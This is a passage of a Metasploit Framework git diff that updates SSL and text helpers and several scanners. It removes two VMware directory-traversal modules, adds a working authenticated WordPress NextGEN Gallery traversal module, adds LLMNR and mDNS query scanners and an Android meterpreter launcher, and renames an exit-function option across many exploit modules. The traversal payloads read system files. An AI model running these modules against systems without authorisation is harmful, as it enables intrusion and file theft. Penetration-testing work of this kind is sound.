when 'SSL3', :SSLv3
- versions = [:SSLv3]
- when 'TLS1', :TLSv1
- versions = [:TLSv1]
- else
- # Leave the version list as-is (Auto)
+ version = :SSLv3
+ when 'TLS1','TLS1.0', :TLSv1
+ version = :TLSv1
+ when 'TLS1.1', :TLSv1_1
+ version = :TLSv1_1
+ when 'TLS1.2', :TLSv1_2
+ version = :TLSv1_2
end
end
- # Limit our versions to those supported by the linked OpenSSL library
- versions = versions.select {|v| OpenSSL::SSL::SSLContext::METHODS.include? v }
-
# Raise an error if no selected versions are supported
- if versions.length == 0
+ if ! OpenSSL::SSL::SSLContext::METHODS.include? version
raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version'
end
- last_error = nil
+ # Try intializing the socket with this SSL/TLS version
+ # This will throw an exception if it fails
+ initsock_with_ssl_version(params, version)
- # Iterate through SSL/TLS versions until we successfully negotiate
- versions.each do |version|
- begin
- # Try intializing the socket with this SSL/TLS version
- # This will throw an exception if it fails
- initsock_with_ssl_version(params, version)
-
- # Success! Record what method was used and return
- self.ssl_negotiated_version = version
- return
- rescue OpenSSL::SSL::SSLError => e
- last_error = e
- end
- end
-
- # No SSL/TLS versions succeeded, raise the last error
- raise last_error
+ # Track the SSL version
+ self.ssl_negotiated_version = version
end
def initsock_with_ssl_version(params, version)
@@ -137,9 +123,6 @@ begin
# Tie the context to a socket
self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx)
- # XXX - enabling this causes infinite recursion, so disable for now
- # self.sslsock.sync_close = true
-
# Force a negotiation timeout
begin
Timeout.timeout(params.timeout) do
diff --git a/lib/rex/text.rb b/lib/rex/text.rb
index b5dfe85fb9..9d55293c61 100644
--- a/lib/rex/text.rb
+++ b/lib/rex/text.rb
@@ -1522,7 +1522,10 @@ module Text
# @param data [#delete]
# @param badchars [String] A list of characters considered to be bad
def self.remove_badchars(data, badchars = '')
- data.delete(badchars)
+ return data if badchars.length == 0
+ badchars_pat = badchars.unpack("C*").map{|c| "\\x%.2x" % c}.join
+ data.gsub!(/[#{badchars_pat}]/n, '')
+ data
end
#
@@ -1531,7 +1534,8 @@ module Text
# @param keepers [String]
# @return [String] All characters not contained in +keepers+
def self.charset_exclude(keepers)
- [*(0..255)].pack('C*').delete(keepers)
+ excluded_bytes = [*(0..255)] - keepers.unpack("C*")
+ excluded_bytes.pack("C*")
end
#
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index c96d7fe78c..3ef681604f 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -61,7 +61,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
# Needed for Meterpreter
- spec.add_runtime_dependency 'metasploit-payloads', '1.0.10'
+ spec.add_runtime_dependency 'metasploit-payloads', '1.0.12'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler
diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb
index e568f342f7..167bb24fc9 100644
--- a/modules/auxiliary/scanner/http/cert.rb
+++ b/modules/auxiliary/scanner/http/cert.rb
@@ -43,8 +43,6 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{ip} No certificate subject or CN found")
return
end
-
- issuer_pattern = Regexp.new(datastore['ISSUER'], [Regexp::EXTENDED, 'n'])
sub = cert.subject.to_a
before = Time.parse("#{cert.not_before}")
@@ -61,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
- if ( "#{cert.issuer}" !~ /#{issuer_pattern}/)
+ if cert.issuer.to_s !~ /#{datastore['ISSUER']}/n
print_good("#{ip} - '#{vhostn}' : #{cert.issuer} (BAD ISSUER)" )
elsif datastore['SHOWALL']
# show verbose as status
diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb
index 228562ae0d..de43931a43 100644
--- a/modules/auxiliary/scanner/http/http_login.rb
+++ b/modules/auxiliary/scanner/http/http_login.rb
@@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary
if rport == 443 or ssl
proto = "https"
end
- "#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
+ "#{proto}://#{vhost}:#{rport}#{@uri.to_s}"
end
def run_host(ip)
@@ -127,15 +127,21 @@ class Metasploit3 < Msf::Auxiliary
print_error("You need need to set AUTH_URI when using PUT Method !")
return
end
+
+ extra_info = ""
+ if rhost != vhost
+ extra_info = " (#{rhost})"
+ end
+
@uri = find_auth_uri
if ! @uri
- print_error("#{target_url} No URI found that asks for HTTP authentication")
+ print_error("#{target_url}#{extra_info} No URI found that asks for HTTP authentication")
return
end
@uri = "/#{@uri}" if @uri[0,1] != "/"
- print_status("Attempting to login to #{target_url}")
+ print_status("Attempting to login to #{target_url}#{extra_info}")
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb
index 41994b6c9e..86472e9648 100644
--- a/modules/auxiliary/scanner/http/trace.rb
+++ b/modules/auxiliary/scanner/http/trace.rb
@@ -15,9 +15,13 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
- 'Name' => 'HTTP TRACE Detection',
- 'Description' => 'Test if TRACE is actually enabled. 405 (Apache) 501(IIS) if its disabled, 200 if it is',
- 'Author' => ['CG'],
+ 'Name' => 'HTTP Cross-Site Tracing Detection',
+ 'Description' => 'Checks if the host is vulnerable to Cross-Site Tracing (XST)',
+ 'Author' =>
+ [
+ 'Jay Turla <@shipcod3>' , #Cross-Site Tracing (XST) Checker
+ 'CG' #HTTP TRACE Detection
+ ],
'License' => MSF_LICENSE
)
end
@@ -26,39 +30,27 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_raw({
- 'version' => '1.0',
- 'uri' => '/',
+ 'uri' => '/', #XST Payload
'method' => 'TRACE',
- 'headers' =>
- {
- 'Cookie' => "did you echo me back?",
- },
- }, 10)
+ })
- if res.nil?
- print_error("no repsonse for #{target_host}")
- elsif (res.code == 200)
- print_good("#{target_host}:#{rport}-->#{res.code}")
- print_good("Response Headers:\n #{res.headers}")
- print_good("Response Body:\n #{res.body}")
- print_good("TRACE appears to be enabled on #{target_host}:#{rport} \n")
- report_note(
- :host => target_host,
- :port => rport,
- :proto => 'tcp',
- :sname => (ssl ? 'https' : 'http'),
- :type => 'service.http.method.trace',
- :data => "TRACE method is enabled for this service",
- :update => :unique_data
- )
- elsif (res.code == 501)#Not Implemented
- print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #IIS
- elsif (res.code == 405)#Method Not Allowed
- print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #Apache
- else
- print_status("#{res.code}")
+ unless res
+ vprint_error("#{rhost}:#{rport} did not reply to our request")
+ return
end
+ if res.body.to_s.index('/')
+ print_good("#{rhost}:#{rport} is vulnerable to Cross-Site Tracing")
+ report_vuln(
+ :host => rhost,
+ :port => rport,
+ :proto => 'tcp',
+ :sname => (ssl ? 'https' : 'http'),
+ :info => "Vulnerable to Cross-Site Tracing",
+ )
+ else
+ vprint_error("#{rhost}:#{rport} returned #{res.code} #{res.message}")
+ end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
diff --git a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb
deleted file mode 100644
index ad5a26474b..0000000000
--- a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-##
-# This module requires Metasploit: http://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-
-class Metasploit3 < Msf::Auxiliary
-
- # Exploit mixins should be called first
- include Msf::Exploit::Remote::HttpClient
- # Scanner mixin should be near last
- include Msf::Auxiliary::Scanner
- include Msf::Auxiliary::Report
- include Msf::Module::Deprecated
-
- deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav')
-
- def initialize
- super(
- 'Name' => 'VMware Server Directory Traversal Vulnerability',
- 'Description' => 'This modules exploits the VMware Server Directory Traversal
- vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
- 2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
- allows remote attackers to read arbitrary files. Common VMware server ports
- 80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
- the gueststealer tool.',
- 'Author' => 'CG' ,
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
- [ 'OSVDB', '59440' ],
- [ 'BID', '36842' ],
- [ 'CVE', '2009-3733' ],
- [ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
- ]
- )
- register_options(
- [
- Opt::RPORT(8222),
- OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']),
- OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
- ], self.class)
- end
-
- def run_host(target_host)
-
- begin
- file = datastore['FILE']
- trav = datastore['TRAV']
- res = send_request_raw({
- 'uri' => trav+file,
- 'version' => '1.1',
- 'method' => 'GET'
- }, 25)
-
- if res.nil?
- print_error("Connection timed out")
- return
- end
-
- if res.code == 200
- #print_status("Output Of Requested File:\n#{res.body}")
- print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
- report_vuln(
- {
- :host => target_host,
- :port => rport,
- :proto => 'tcp',
- :name => self.name,
- :info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
- :refs => self.references,
- :exploited_at => Time.now.utc
- }
- )
- else
- vprint_status("Received #{res.code} for #{trav}#{file}")
- end
-
- rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
- print_error(e.message)
- rescue ::Timeout::Error, ::Errno::EPIPE
- end
- end
-
-end
diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb
deleted file mode 100644
index 837ab58a29..0000000000
--- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-##
-# This module requires Metasploit: http://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-
-class Metasploit3 < Msf::Auxiliary
-
- include Msf::Exploit::Remote::HttpClient
- include Msf::Auxiliary::Report
- include Msf::Auxiliary::Scanner
- include Msf::Module::Deprecated
-
- deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_update_manager_traversal')
-
- def initialize(info={})
- super(update_info(info,
- 'Name' => "VMWare Update Manager 4 Directory Traversal",
- 'Description' => %q{
- This modules exploits a directory traversal vulnerability in VMWare Update Manager
- on port 9084. Versions affected by this vulnerability: vCenter Update Manager
- 4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Alexey Sintsov', #Initial discovery, poc
- 'sinn3r' #Metasploit
- ],
- 'References' =>
- [
- ['CVE', '2011-4404'],
- ['EDB', '18138'],
- ['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
- ['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
- ],
- 'DisclosureDate' => "Nov 21 2011"))
-
- register_options(
- [
- Opt::RPORT(9084),
- OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
- OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
- ], self.class)
- end
-
- def run_host(ip)
- fname = File.basename(datastore['FILE'])
- traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
- uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']
-
- print_status("#{rhost}:#{rport} - Requesting: #{uri}")
-
- res = send_request_raw({
- 'method' => 'GET',
- 'uri' => uri
- }, 25)
-
- # If there's no response, don't bother
- if res.nil? or res.body.empty?
- print_error("No content retrieved from: #{ip}")
- return
- end
-
- if res.code == 404
- print_error("#{rhost}:#{rport} - File not found")
- return
- else
- print_good("File retrieved from: #{ip}")
- p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
- print_status("File stored in: #{p}")
- end
- end
-end
diff --git a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb
new file mode 100644
index 0000000000..9805311524
--- /dev/null
+++ b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb
@@ -0,0 +1,152 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'json'
+require 'nokogiri'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Auxiliary::Report
+ include Msf::HTTP::Wordpress
+ include Msf::Auxiliary::Scanner
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'WordPress NextGEN Gallery Directory Read Vulnerability',
+ 'Description' => %q{
+ This module exploits an authenticated directory traversal vulnerability
+ in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing
+ to read arbitrary directories with the web server privileges.
+ },
+ 'References' =>
+ [
+ ['WPVDB', '8165'],
+ ['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650']
+ ],
+ 'Author' =>
+ [
+ 'Sathish Kumar', # Vulnerability Discovery
+ 'Roberto Soares Espreto ' # Metasploit Module
+ ],
+ 'License' => MSF_LICENSE
+ ))
+
+ register_options(
+ [
+ OptString.new('WP_USER', [true, 'A valid username', nil]),
+ OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),
+ OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']),
+ OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
+ ], self.class)
+ end
+
+ def user
+ datastore['WP_USER']
+ end
+
+ def password
+ datastore['WP_PASS']
+ end
+
+ def check
+ check_plugin_version_from_readme('nextgen-gallery', '2.1.9')
+ end
+
+ def get_nonce(cookie)
+ res = send_request_cgi(
+ 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
+ 'method' => 'GET',
+ 'vars_get' => {
+ 'page' => 'ngg_addgallery'
+ },
+ 'cookie' => cookie
+ )
+
+ if res && res.redirect? && res.redirection
+ location = res.redirection
+ print_status("#{peer} - Following redirect to #{location}")
+ res = send_request_cgi(
+ 'uri' => location,
+ 'method' => 'GET',
+ 'cookie' => cookie
+ )
+ end
+
+ res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first
+ end
+
+ def parse_paths(res)
+ begin
+ j = JSON.parse(res.body)
+ rescue JSON::ParserError => e
+ elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
+ return []
+ end
+
+ html = j['html']
+ noko = Nokogiri::HTML(html)
+ links = noko.search('a')
+ links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") }
+ end
+
+ def run_host(ip)
+ vprint_status("#{peer} - Trying to login as: #{user}")
+ cookie = wordpress_login(user, password)
+ if cookie.nil?
+ print_error("#{peer} - Unable to login as: #{user}")
+ return
+ end
+
+ vprint_status("#{peer} - Trying to get nonce...")
+ nonce = get_nonce(cookie)
+ if nonce.nil?
+ print_error("#{peer} - Can not get nonce after login")
+ return
+ end
+ vprint_status("#{peer} - Got nonce: #{nonce}")
+
+ traversal = "../" * datastore['DEPTH']
+ filename = datastore['DIRPATH']
+ filename = filename[1, filename.length] if filename =~ /^\//
+
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path),
+ 'headers' => {
+ 'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery",
+ 'X-Requested-With' => 'XMLHttpRequest'
+ },
+ 'vars_get' => {
+ 'photocrati_ajax' => '1'
+ },
+ 'vars_post' => {
+ 'nextgen_upload_image_sec' => "#{nonce}",
+ 'action' => 'browse_folder',
+ 'dir' => "#{traversal}#{filename}"
+ },
+ 'cookie' => cookie
+ )
+
+ if res && res.code == 200
+
+ paths = parse_paths(res)
+ vprint_line(paths * "\n")
+
+ fname = datastore['DIRPATH']
+ path = store_loot(
+ 'nextgen.traversal',
+ 'text/plain',
+ ip,
+ paths * "\n",
+ fname
+ )
+
+ print_good("#{peer} - File saved in: #{path}")
+ else
+ print_error("#{peer} - Nothing was downloaded. You can try to change the DIRPATH.")
+ end
+ end
+end
diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb
new file mode 100644
index 0000000000..74a8687efb
--- /dev/null
+++ b/modules/auxiliary/scanner/llmnr/query.rb
@@ -0,0 +1,51 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::UDPScanner
+ include Msf::Auxiliary::LLMNR
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'LLMNR Query',
+ 'Description' => %q(
+ This module sends LLMNR queries, which are really just normal UDP DNS
+ queries done (usually) over multicast on a different port, 5355.
+ Targets other than the default RHOSTS' 224.0.0.252 should not respond
+ but may anyway.
+ ),
+ 'Author' =>
+ [
+ 'Jon Hart '
+ ],
+ 'License' => MSF_LICENSE
+ )
+ )
+ end
+
+ def scanner_prescan(batch)
+ print_status("Sending LLMNR #{query_type_name}/#{query_class_name} queries for #{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)")
+ @results = {}
+ end
+
+ def scanner_postscan(_batch)
+ found = {}
+ @results.each_pair do |peer, resps|
+ resps.each do |resp|
+ found[peer] ||= {}
+ next if found[peer][resp]
+ response_info = describe_response(resp)
+ print_good("#{peer} responded with #{response_info}")
+ report_service(host: peer, port: rport, proto: "udp", name: "llmnr", info: response_info)
+ found[peer][resp] = true
+ end
+ end
+ end
+end
diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb
new file mode 100644
index 0000000000..4412818e31
--- /dev/null
+++ b/modules/auxiliary/scanner/mdns/query.rb
@@ -0,0 +1,50 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::UDPScanner
+ include Msf::Auxiliary::MDNS
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'mDNS Query',
+ 'Description' => %q(
+ This module sends mDNS queries, which are really just normal UDP DNS
+ queries done (usually) over multicast on a different port, 5353.
+ ),
+ 'Author' =>
+ [
+ 'Jon Hart '
+ ],
+ 'License' => MSF_LICENSE
+ )
+ )
+ end
+
+ def scanner_prescan(batch)
+ print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " \
+ "#{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)")
+ @results = {}
+ end
+
+ def scanner_postscan(_batch)
+ found = {}
+ @results.each_pair do |peer, resps|
+ resps.each do |resp|
+ found[peer] ||= {}
+ next if found[peer][resp]
+ response_info = describe_response(resp)
+ print_good("#{peer} responded with #{response_info}")
+ report_service(host: peer, port: rport, proto: "udp", name: "mdns", info: response_info)
+ found[peer][resp] = true
+ end
+ end
+ end
+end
diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb
new file mode 100644
index 0000000000..7d603eb953
--- /dev/null
+++ b/modules/auxiliary/server/android_browsable_msf_launch.rb
@@ -0,0 +1,53 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpServer
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Android Meterpreter Browsable Launcher",
+ 'Description' => %q{
+ This module allows you to open an android meterpreter via a browser. An Android
+ meterpreter must be installed as an application beforehand on the target device
+ in order to use this.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'sinn3r' ],
+ 'References' =>
+ [
+ [ 'URL', 'http://developer.android.com/reference/android/content/Intent.html#CATEGORY_BROWSABLE' ]
+ ]
+ ))
+ end
+
+ def run
+ exploit
+ end
+
+ def html
+%Q|
+
+
+
+
+
+
+|
+ end
+
+ def on_request_uri(cli, request)
+ print_status("Sending HTML...")
+ send_response(cli, html)
+ end
+
+end
diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb
index 1cb15a9101..2b6fdc0353 100644
--- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb
+++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb
@@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Payload' =>
{
diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb
index 92758f4152..782cd0a2e1 100644
--- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb
+++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb
@@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'none'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb
index 17296c5055..5eef56db31 100644
--- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb
+++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb
@@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb
index ca6a24c3da..ca0376af14 100644
--- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb
+++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb
@@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
{
'WfsDelay' => 300, #5 minutes
'DisablePayloadHandler' => 'false',
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb
index 67cb01534f..f8d475ac63 100644
--- a/modules/exploits/linux/http/wanem_exec.rb
+++ b/modules/exploits/linux/http/wanem_exec.rb
@@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => 'none'
+ 'EXITFUNC' => 'thread'
},
'Targets' =>
[
diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb
index ea71d4ea05..9a3a544ed4 100644
--- a/modules/exploits/linux/http/zen_load_balancer_exec.rb
+++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'none'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb
index ff70cf386d..f79e544ae1 100644
--- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb
+++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb
@@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => ['linux'],
'Arch' => ARCH_X86,
diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
index 6c60536356..adaf2121bd 100644
--- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
+++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
@@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Payload' =>
{
diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb
index 96f568d23b..da603fe255 100644
--- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb
+++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb
@@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Payload' =>
{
diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb
index 9886a77bf7..6b2f6d616e 100644
--- a/modules/exploits/multi/http/apprain_upload_exec.rb
+++ b/modules/exploits/multi/http/apprain_upload_exec.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb
index c11754860d..63fc450568 100644
--- a/modules/exploits/multi/http/cuteflow_upload_exec.rb
+++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb
@@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb
index 5873e2705b..3ad9e76d64 100644
--- a/modules/exploits/multi/http/jenkins_script_console.rb
+++ b/modules/exploits/multi/http/jenkins_script_console.rb
@@ -35,7 +35,13 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => %w{ win linux unix },
'Targets' =>
[
- ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}],
+ ['Windows',
+ {
+ 'Arch' => [ ARCH_X86_64, ARCH_X86 ],
+ 'Platform' => 'win',
+ 'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
+ }
+ ],
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
],
diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb
index c7b8ba285e..5360e33007 100644
--- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb
+++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb
@@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb
index 642b983080..8f8a58f69d 100644
--- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb
+++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb
index 1e03ea297d..2b5fe040b1 100644
--- a/modules/exploits/multi/http/qdpm_upload_exec.rb
+++ b/modules/exploits/multi/http/qdpm_upload_exec.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => %w{ linux php },
'Targets' =>
diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb
index ea07c3e3f2..b64dc1083e 100644
--- a/modules/exploits/multi/http/testlink_upload_exec.rb
+++ b/modules/exploits/multi/http/testlink_upload_exec.rb
@@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
